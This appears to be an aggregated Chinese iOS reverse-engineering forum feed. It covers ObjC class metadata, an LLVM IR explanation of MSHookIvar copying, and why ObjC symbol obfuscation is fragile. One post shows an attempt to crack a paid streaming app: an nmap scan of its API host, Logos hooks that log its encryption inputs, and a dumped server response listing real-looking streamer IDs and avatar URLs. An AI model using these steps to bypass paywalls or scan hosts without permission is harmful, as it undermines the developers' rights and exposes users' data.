其中Data地址的数据就是我们想要的类信息的数据信息. 我们记录下0xC40C地址.
接着我们去__objc_const段查看类的信息.

这里也是一个类信息的结构体.我来讲讲最重要的几个.
Base Methods: 保存着类中的函数信息对应的结构体.
Base Properties: 保存着类中数据成员变量对应的结构体.

我们先去看下函数的结构体, 这里可以看到函数的结构体对应的位置在0xC298.
同样是在const段, 我们可以找到Method List: 0xC298

Entry Size对应的是每个函数的结构大小.
Count对应的是该类中含有多少个函数.
接下来12字节就是函数的信息. (这里 v8@0:4还未搞清楚, 应该就是参数的问题.可以多写点儿类型进行测试)

这里函数的信息搞明白了 我们来看变量的. 查看Base Properties可以知道其对应的地址在0xC3EC处.

其结构跟类信息的结构是一样的, 一眼就可以看出来.

Posts: 3

Participants: 3

Read full topic

基于LLVM对MSHookIvar之后无效的问题进行分析

$
0
0

@Zhang wrote:

起源是 @laomeiHook实列变量闪退问题 询问为何MSHookIvar之后原值没有更改。原代码:

UIScreen  *uis=%orig;
CGRect cgr = MSHookIvar<CGRect>(uis, "_bounds");
cgr.size.width=1080.0f;
cgr.size.height=1920.0f;
[uis  bounds]=cgr;
NSLog(@"============:0[%f]",cgr.size.height);

CGRect screenBounds = [uis bounds];
NSLog(@"============:1[%f]",screenBounds.size.height); --调试发现,此处值仍然是旧值

然而这篇文章只解释了MSHookIvar的问题,[uis bounds]=cgr;给只读属性赋值我真的很想知道他是怎么编译的

通过在C/C++层的分析我给出了回答如下:

int a=*b形式的Pointer Dereference会复制一份目标地址的值。比如说:

#include <stdio.h>
static void foo(int* A){
  int C=*A;
  C=10;
}
int main(int argc, char const *argv[]) {
  int B=0;
  foo(&B);
  printf("%i\n",B);
  return 0;
}

输出:

λ : >>> ./a.out             
0

看下MSHookIvar的源码

template <typename Type_>
static inline Type_ &MSHookIvar(id self, const char *name) {
    Ivar ivar(class_getInstanceVariable(object_getClass(self), name));
    void *pointer(ivar == NULL ? NULL : reinterpret_cast<char *>(self) + ivar_getOffset(ivar));
    return *reinterpret_cast<Type_ *>(pointer);
}

这里第一第二行通过ObjC运行时获得了这个ivar的地址。最后一步reinterpret_cast将地址转换成正确类型的指针后通过指针解引用创建了一份这个值的引用。 CGRect cgr = XXXXXX里左值是CGRect而不是引用(CGRect&) , 所以按照标准这里就创建了一份副本(题外话: 如果是C++对象的话这里是隐式调用Copy Constructor)。正常情况下因为ivar是objc对象时本来就是对指针进行操作,所以复制一份指针的值指向的还是正确的objc对象,但对于结构体和其他原本不是指针类型的ivar这么干就会在副本上进行操作了。

@interface ViewController () {
      int foo;
}
@end
-(void)test{
    self->foo=0;
    NSLog(@"%i",self->foo);
    int lol=MSHookIvar<int>(self,"foo");
    lol=10;
    NSLog(@"%i",self->foo);
    MSHookIvar<int>(self,"foo")=10;
    NSLog(@"%i",self->foo);
}

输出:

2018-05-04 18:55:34.021 [50888:729029] 0
2018-05-04 18:55:34.021 [50888:729029] 0
2018-05-04 18:55:34.021 [50888:729029] 10

问题看起来是解决了。然而,纯粹是为了好玩,让我们掏出LLVM以更低层的方式来看待这个问题。构造源码如下:

#include <stdio.h>
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
template <typename Type_>
static inline Type_ &MSHookIvar(id self, const char *name) {
    Ivar ivar(class_getInstanceVariable(object_getClass(self), name));
    void *pointer(ivar == NULL ? NULL : reinterpret_cast<char *>(self) + ivar_getOffset(ivar));
    return *reinterpret_cast<Type_ *>(pointer);
}
int main(int argc, char const *argv[]) {
  NSData* item=[NSData new];
  int lol=MSHookIvar<int>(item,"foo");
  lol=10;
  MSHookIvar<int>(item,"foo")=10;
  return 0;
}

使用clang -S -emit-llvm helloworld.mm 生成如下 LLVM中间表示:

define i32 @main(i32, i8**) #0 {
  %3 = alloca i32, align 4
  %4 = alloca i32, align 4
  %5 = alloca i8**, align 8
  %6 = alloca %0*, align 8
  %7 = alloca i32, align 4
  store i32 0, i32* %3, align 4
  store i32 %0, i32* %4, align 4
  store i8** %1, i8*** %5, align 8
  %8 = load %struct._class_t*, %struct._class_t** @"OBJC_CLASSLIST_REFERENCES_$_", align 8
  %9 = load i8*, i8** @OBJC_SELECTOR_REFERENCES_, align 8, !invariant.load !8
  %10 = bitcast %struct._class_t* %8 to i8*
  %11 = call i8* bitcast (i8* (i8*, i8*, ...)* @objc_msgSend to i8* (i8*, i8*)*)(i8* %10, i8* %9)
  %12 = bitcast i8* %11 to %0*
  store %0* %12, %0** %6, align 8
  %13 = load %0*, %0** %6, align 8
  %14 = bitcast %0* %13 to i8*
  %15 = call dereferenceable(4) i32* @_ZL10MSHookIvarIiERT_P11objc_objectPKc(i8* %14, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i32 0, i32 0))
  %16 = load i32, i32* %15, align 4
  store i32 %16, i32* %7, align 4
  store i32 10, i32* %7, align 4
  %17 = load %0*, %0** %6, align 8
  %18 = bitcast %0* %17 to i8*
  %19 = call dereferenceable(4) i32* @_ZL10MSHookIvarIiERT_P11objc_objectPKc(i8* %18, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i32 0, i32 0))
  store i32 10, i32* %19, align 4
  ret i32 0
}

@_ZL10MSHookIvarIiERT_P11objc_objectPKc是MSHookIvar在被C++ Name Mangling之后的函数名称,对应int& MSHookIvar<int>(objc_object*, char const*)
alloca指令在栈上分配内存空间。
这里我们可以看到在第一次调用之后的IR如下:

  %15 = call dereferenceable(4) i32* @_ZL10MSHookIvarIiERT_P11objc_objectPKc(i8* %14, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i32 0, i32 0))
  %16 = load i32, i32* %15, align 4
  store i32 %16, i32* %7, align 4
  store i32 10, i32* %7, align 4

第一条指令%15 = call 省略i32*后省略的i32*告诉我们返回长度32bit的整数的指针。%16的意思是从%15这个地址加载了一个32bit的整数到%16这个值。 后面两条store指令分别将刚加载的值和10这个常数保存到%7, 那么%7 是什么呢? 倒回去看一下函数开头:

 %7 = alloca i32, align 4

说明%7是一个在栈上分配的32bit整数而不是原来的ivar所处的地址。这也就是为什么第一行MSHookIvar之后数值没有改变的原因。

然后我们来看第二次调用:

 %19 = call dereferenceable(4) i32* @_ZL10MSHookIvarIiERT_P11objc_objectPKc(i8* %18, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i32 0, i32 0))
  store i32 10, i32* %19, align 4

这次我们将常数10直接保存到了MSHookIvar返回的指针(即%19) 所指向的内存区域里,所以这次的MSHookIvar成功的修改了对应的值

Posts: 1

Participants: 1

Read full topic

为什么ObjC的符号/名称混淆是一个不稳定的坏主意

$
0
0

@Zhang wrote:

很多人都问我Hikari为什么不做这一块的支持。主要是懒
其实很简单,因为OC本身语言特性的问题不可能在不限制语言特性的情况下完美无缺。考虑如下代码

@interface AAA:NSObject
-(void)BBB;
@end
@interface CCC:AAA
-(void)BBB;
@end

@implementation DDD
-(void)FFF:(id)arg1{
   [arg1 BBB];
}
@end

假设AAA是系统类,也就说编译器不能修改里面的定义。很显然在混淆FFF:的时候混淆工具无法确定这里的SELBBB是应该修改成CCC里BBB混淆后的的名字还是维持不动。 这个问题实际上有很多种变种,但其他所有变种都跟这个例子某种意义上类似。 比如说常见的通过respondToSelector:来运行时判断类型对分析带来的干扰等等。在这个基础上还有分析时跨界的引用问题,比如上例的AAA CCC DDD都在多个翻译单元(aka源代码文件),又或者是子类复写的父类的SEL等等带来的问题,或者更明确一点,都来自语言本身高度的反射机制和最重要的: 类和SEL的解耦合以及泛型/弱类型。 语言本身的设计问题,无法完美解决。 更不要说这些SEL和类型信息走入LLVM IR之后就无法直接获取到了。类名相对会好做一些,但是SEL是一个巨大的坑。

看到这里读者很可能会问: 那么为什么不做一个黑名单机制,即所有系统的SEL/Class都不混淆呢? 这又回归到了设计哲学上的问题。首先不完全统计iOS11为例系统大约有数万个系统类和十万左右的系统SEL,这对于编译过程中的分析是一个无比巨大的内存和性能开销。除此之外还需要额外维护整张表来处理第三方框架等问题。这个过程是非常非常容易出错的。这就回到开头的另一个原因,懒。

TODO

写一下传统意义上的符号&&上述问题可行的部分绕过方案及他们的问题。 写一下DFA。
写一篇如何自己实现不依赖LLVM的效果更好的符号混淆工具的教程

Note:

不要发微博推广

Posts: 1

Participants: 1

Read full topic

逆向直播盒子Green-iOS客户端

$
0
0

@yuzhouheike wrote:

写在前面的话本次要使用的几个工具

  • IDA
  • AloneMonkey的MonkeyDev
  • Charles
  • Kali

什么是直播盒子?

  • 单个直播的叫平台,比如斗鱼,熊猫,快手等等
  • 所有的平台放在一个App里面就被称为盒子
  • 现在上面上有很多直播平台(带颜色的)

什么是iOS逆向?

  • 对我来说就是研究别人App里面的东西

为什么逆向这个盒子?

  • 事情的起因是:帮兄弟的帮,兄弟让破解,所以研究下

首先上个图(市面上的直播盒子现在也有很多,图只是其中一种,兄弟发过来的链接)

  • 首页

  • 随便点击一个

您的会员账号已到期,请续费付费是不可能付费的,这辈子都不会付费的。只能靠逆向才能维持生活这样子。。。

然后使用Chareles抓包 得到以下结果

  • 显然作者对数据进行了加密
  • 看到了Host api.appplat6688.com
  • 看到域名那就扫描一下端口吧 !祭出Kali
 nmap api.appplat6688.com 

过了半根烟的时间

  • 出现如下结果:
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-13 15:52 CST
Nmap scan report for api.appplat6688.com (101.55.26.69)
Host is up (0.64s latency).
Other addresses for api.appplat6688.com (not scanned): 220.95.210.101 101.55.26.70 182.16.53.100 216.118.239.124 52.128.230.228 180.178.48.220 103.90.137.107 216.118.239.132 220.95.210.78 182.16.55.76 180.178.51.212 119.42.148.148
Not shown: 983 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
443/tcp  open     https
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
901/tcp  filtered samba-swat
1068/tcp filtered instl_bootc
3128/tcp filtered squid-http
3333/tcp filtered dec-notes
4444/tcp filtered krb524
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6129/tcp filtered unknown
6667/tcp filtered irc
6789/tcp open     ibm-db2-admin

Nmap done: 1 IP address (1 host up) scanned in 59.59 seconds
  • 上面这些端口呢。基本上都是常用的。坦白的说我也搞不定它。所以先不管它(估计有人会问:既然搞不定,为什么要扫呢?因为人外有人,天外有天,我搞不了的不代表正在看文章的你搞不定。帮你扫的!)

因为我们的主题是逆向iOS客户端

  • 如上图所示。此客户端进行了数据加密。一般数据加密的App说明开发者对自己的App做了保护。那么我们就要去看看他是怎么加密的

  • 把件IPA文件(经过3秒的思想斗争。最终决定还是不放链接了,想研究的加我V信:yuzhouheikewll)扔到IDA里面

半根烟时间后

  • 全局搜索 您的会员账号已到期

  • 最终结果

  • 点击X按钮(一路X只到出现汇编代码)

  • 经过一些列分析,定位到如下代码

  • hook KYLMQxqXCDsiemxz:params:success:failure:
%hook GBoxNetManager

-(void)KYLMQxqXCDsiemxz:(id)arg1 params:(id) arg2 success:(id)arg3 failure:(id)arg4 {

%log;

NSLog(@"arg1%@", arg1);

NSLog(@"arg2%@", arg2);

NSLog(@"arg3%@", arg3);

NSLog(@"arg4%@", arg4);

%orig;

}

%end
  • 得到以下结果

  • 那就看看这个函数的返汇编,和F5(IDA常用功能)出来的伪代码

  • 根据我浅显的英文水准,判断出GBoxNetCrypto这个类就是加密类
  • 那么我们就去看看这个类,然后Hook它
  • Hook代码
%hook GBoxNetCrypto

- (id) desEncrypt:(id)arg1 key:(id)arg2 {
	// %log;
	NSLog(@"desEncrypt arg1 = %@ arg2 = %@", arg1, arg2 );
	NSLog(@"desEncrypt===orig %@", %orig);

	return %orig;
}


- (id) desDecrypt:(id)arg1 key:(id)arg2 {
	// %log;
	NSLog(@"desDecrypt arg1 = %@ arg2 = %@", arg1, arg2 );
	NSLog(@"desDecrypt===orig %@", %orig);
	return %orig;
}
- (id) QVGRSpobWNqWYHVm:(id)arg1 key:(id)arg2 {
	// %log;
	NSLog(@"QVGRSpobWNqWYHVm:key arg1 = %@ arg2 = %@", arg1, arg2 );
	return %orig;
}

- (id) QVGRSpobWNqWYHVm:(id)arg1 {
	// %log;
	NSLog(@"QVGRSpobWNqWYHVm arg1 = %@", arg1 );
	return %orig;
}

- (id) dCkFSxbcvATgvDOF:(id)arg1 {
	// %log;
	NSLog(@"dCkFSxbcvATgvDOF arg1 = %@", arg1 );
	return %orig;
}


- (id) PxXAtABexHNGjGWc:(id)arg1 {
	// %log;
	NSLog(@"PxXAtABexHNGjGWc arg1 = %@", arg1 );
	return %orig;
}
%end

  • 这里我没有去关注它内部的加密逻辑,只是拿到了加密的输出和输入(我们要的就是这个)

  • 那么我们就去我们想要的界面去找想要的内容

看打印出的服务端返回内容

{
	"code": 200,
	"list": [{
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/310598/1525874444233.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "MZZ颜宝",
		"roomId": "213909",
		"roomPay": 0,
		"url": "",
		"userId": 310598,
		"watchNum": 2774
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/300719/1526197877705.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "红酒女神",
		"roomId": "213901",
		"roomPay": 0,
		"url": "",
		"userId": 300719,
		"watchNum": 2640
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/343317/201805030457277987.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "U兔宝宝",
		"roomId": "213934",
		"roomPay": 0,
		"url": "",
		"userId": 343317,
		"watchNum": 2433
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/258508/201805091218287030.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "Mzz人丑对不起祖国",
		"roomId": "213709",
		"roomPay": 0,
		"url": "",
		"userId": 258508,
		"watchNum": 8792
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/222192/1525758635927.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "er秀秀女",
		"roomId": "213861",
		"roomPay": 0,
		"url": "",
		"userId": 222192,
		"watchNum": 3623
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/273879/201805130501314734.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "妞妞Da姐姐",
		"roomId": "213955",
		"roomPay": 0,
		"url": "",
		"userId": 273879,
		"watchNum": 387
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/288102/1526199691114.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "cK小淫妹",
		"roomId": "213923",
		"roomPay": 0,
		"url": "",
		"userId": 288102,
		"watchNum": 1407
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201804/217817/1523589369535.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "MZZ小辣椒",
		"roomId": "213964",
		"roomPay": 0,
		"url": "",
		"userId": 217817,
		"watchNum": 359
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/330326/1525259084018.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "FV俄国留学生",
		"roomId": "213875",
		"roomPay": 0,
		"url": "",
		"userId": 330326,
		"watchNum": 4004
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/283380/1526202846359.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG新葡京官方认证推筒子",
		"roomId": "213969",
		"roomPay": 0,
		"url": "",
		"userId": 283380,
		"watchNum": 315
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/351343/1526190381915.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG魔图精灵",
		"roomId": "213787",
		"roomPay": 0,
		"url": "",
		"userId": 351343,
		"watchNum": 437
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201804/225589/201804151030587590.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "燕子",
		"roomId": "213929",
		"roomPay": 0,
		"url": "",
		"userId": 225589,
		"watchNum": 912
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/383599/1526185673046.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "Q户外运动2",
		"roomId": "213897",
		"roomPay": 0,
		"url": "",
		"userId": 383599,
		"watchNum": 2
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/341027/1526190449533.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "MZZ我叫然儿",
		"roomId": "213790",
		"roomPay": 0,
		"url": "",
		"userId": 341027,
		"watchNum": 3139
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201804/218746/1523616631878.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "苏苏",
		"roomId": "213624",
		"roomPay": 0,
		"url": "",
		"userId": 218746,
		"watchNum": 4265
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/381140/1526200185989.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG赌皇国际娱乐会所",
		"roomId": "213936",
		"roomPay": 0,
		"url": "",
		"userId": 381140,
		"watchNum": 53
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/235006/1526194826473.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG娱乐在线",
		"roomId": "213865",
		"roomPay": 0,
		"url": "",
		"userId": 235006,
		"watchNum": 70
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/335223/1525414300646.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "SR-甜甜蜜蜜",
		"roomId": "213949",
		"roomPay": 0,
		"url": "",
		"userId": 335223,
		"watchNum": 143
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/365481/1526195868109.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG娱乐一筒天下",
		"roomId": "213881",
		"roomPay": 0,
		"url": "",
		"userId": 365481,
		"watchNum": 408
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/283355/1526007090245.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "Q闺蜜老公",
		"roomId": "213721",
		"roomPay": 0,
		"url": "",
		"userId": 283355,
		"watchNum": 949
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/238973/1526150049307.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "湿妹",
		"roomId": "213956",
		"roomPay": 0,
		"url": "",
		"userId": 238973,
		"watchNum": 487
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/217200/1526201580870.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "霸道小浪妹",
		"roomId": "213948",
		"roomPay": 0,
		"url": "",
		"userId": 217200,
		"watchNum": 714
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201804/313511/1524838889797.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "sr魅魔",
		"roomId": "213595",
		"roomPay": 0,
		"url": "",
		"userId": 313511,
		"watchNum": 2845
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/384935/1526185367686.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG名流娱乐会所",
		"roomId": "213726",
		"roomPay": 0,
		"url": "",
		"userId": 384935,
		"watchNum": 5325
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/329991/201805011847014858.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "MI芊",
		"roomId": "213889",
		"roomPay": 0,
		"url": "",
		"userId": 329991,
		"watchNum": 1315
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/312549/201805010204564037.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "JL雨",
		"roomId": "213907",
		"roomPay": 0,
		"url": "",
		"userId": 312549,
		"watchNum": 1899
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/262886/1525618035798.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "Dz妖孽人生",
		"roomId": "213821",
		"roomPay": 0,
		"url": "",
		"userId": 262886,
		"watchNum": 2608
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/223279/1526201868037.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "至尊大湿妹",
		"roomId": "213951",
		"roomPay": 0,
		"url": "",
		"userId": 223279,
		"watchNum": 1055
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/264781/1526201888712.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "小小姐",
		"roomId": "213953",
		"roomPay": 0,
		"url": "",
		"userId": 264781,
		"watchNum": 954
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/360406/201805071210131372.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "霸道宝贝",
		"roomId": "213940",
		"roomPay": 0,
		"url": "",
		"userId": 360406,
		"watchNum": 681
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/354808/1525544975204.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "Q妖姬",
		"roomId": "213789",
		"roomPay": 0,
		"url": "",
		"userId": 354808,
		"watchNum": 1143
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/377175/1526170882681.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "SG闭月羞花2",
		"roomId": "213567",
		"roomPay": 0,
		"url": "",
		"userId": 377175,
		"watchNum": 2508
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/272572/1525795865574.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "霸道全国跪求约泡可怜求爱爱",
		"roomId": "213950",
		"roomPay": 0,
		"url": "",
		"userId": 272572,
		"watchNum": 45
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/224784/1525323978804.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "MZZ甜心可可",
		"roomId": "213900",
		"roomPay": 0,
		"url": "",
		"userId": 224784,
		"watchNum": 1824
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/328016/201805130829280235.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "霸道椰子壳",
		"roomId": "213570",
		"roomPay": 0,
		"url": "",
		"userId": 328016,
		"watchNum": 1067
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201804/283909/1524472684340.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "283909丢丢",
		"roomId": "213702",
		"roomPay": 0,
		"url": "",
		"userId": 283909,
		"watchNum": 5689
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/383651/1526101482856.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG诚信走天下B",
		"roomId": "213944",
		"roomPay": 0,
		"url": "",
		"userId": 383651,
		"watchNum": 24
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/374105/1525901432016.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "新人求礼物",
		"roomId": "213961",
		"roomPay": 0,
		"url": "",
		"userId": 374105,
		"watchNum": 456
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/378153/1526181757820.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "霸道淫乱",
		"roomId": "213674",
		"roomPay": 0,
		"url": "",
		"userId": 378153,
		"watchNum": 742
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/387256/201805130509055450.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "xv小妖精",
		"roomId": "213965",
		"roomPay": 0,
		"url": "",
		"userId": 387256,
		"watchNum": 34
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/224084/1526197795009.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "nL小姐姐",
		"roomId": "213899",
		"roomPay": 0,
		"url": "",
		"userId": 224084,
		"watchNum": 3
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/338856/1525672991470.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "霸道左小雨",
		"roomId": "213921",
		"roomPay": 0,
		"url": "",
		"userId": 338856,
		"watchNum": 3
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201804/263866/1525086433855.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "醉红颜凡凡",
		"roomId": "213960",
		"roomPay": 0,
		"url": "",
		"userId": 263866,
		"watchNum": 303
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/298724/201805130427082900.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG愤怒的蚊子",
		"roomId": "213933",
		"roomPay": 0,
		"url": "",
		"userId": 298724,
		"watchNum": 914
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/316941/201805131623228255.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "妞妞可爱丽嘚嘚",
		"roomId": "213928",
		"roomPay": 0,
		"url": "",
		"userId": 316941,
		"watchNum": 1566
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/379899/1526202488299.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "ZJ夢無痕",
		"roomId": "213963",
		"roomPay": 0,
		"url": "",
		"userId": 379899,
		"watchNum": 251
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/277556/1526197660901.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "Oh舒服",
		"roomId": "213959",
		"roomPay": 0,
		"url": "",
		"userId": 277556,
		"watchNum": 2
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/365205/1525763881629.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG东东老虎鸡哦",
		"roomId": "213958",
		"roomPay": 0,
		"url": "",
		"userId": 365205,
		"watchNum": 394
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/379459/1526135486226.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "LY多多呀",
		"roomId": "213970",
		"roomPay": 0,
		"url": "",
		"userId": 379459,
		"watchNum": 63
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/356966/1525596024623.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG公平推筒子",
		"roomId": "213914",
		"roomPay": 0,
		"url": "",
		"userId": 356966,
		"watchNum": 17
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/370521/201805130344003097.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG你好明天吧",
		"roomId": "213893",
		"roomPay": 0,
		"url": "",
		"userId": 370521,
		"watchNum": 65
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/327725/201805130242323786.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG童颜大波",
		"roomId": "213851",
		"roomPay": 0,
		"url": "",
		"userId": 327725,
		"watchNum": 945
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/245238/1526201838262.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG依",
		"roomId": "213952",
		"roomPay": 0,
		"url": "",
		"userId": 245238,
		"watchNum": 5
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/384925/1526189955136.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GG辉煌娱乐",
		"roomId": "213782",
		"roomPay": 0,
		"url": "",
		"userId": 384925,
		"watchNum": 297
	}, {
		"avatar": "http://lopk.oss-cn-shanghai.aliyuncs.com/public/attachment/201805/365824/1526173626609.png?x-oss-process=image/resize,m_mfit,h_200,w_200",
		"nickName": "GGYYA诚信天下",
		"roomId": "213592",
		"roomPay": 0,
		"url": "",
		"userId": 365824,
		"watchNum": 8458
	}],
	"accountConfig": "{\"sdkAppId\":\"1400081396\",\"accountType\":\"24916\",\"IMType\":\"1\",\"webSdkAppId\":\"1106161652\"}"
}

其实正常其他盒子到这一步,就已经可以拿到直播url了,但是这家的盒子做的比较严谨!url居然返回空!散了吧!到此为止!这个盒子我搞不了

Posts: 12

Participants: 5

Read full topic

Native lldb 6.0.0 for iOS


关于ZipperDown

$
0
0

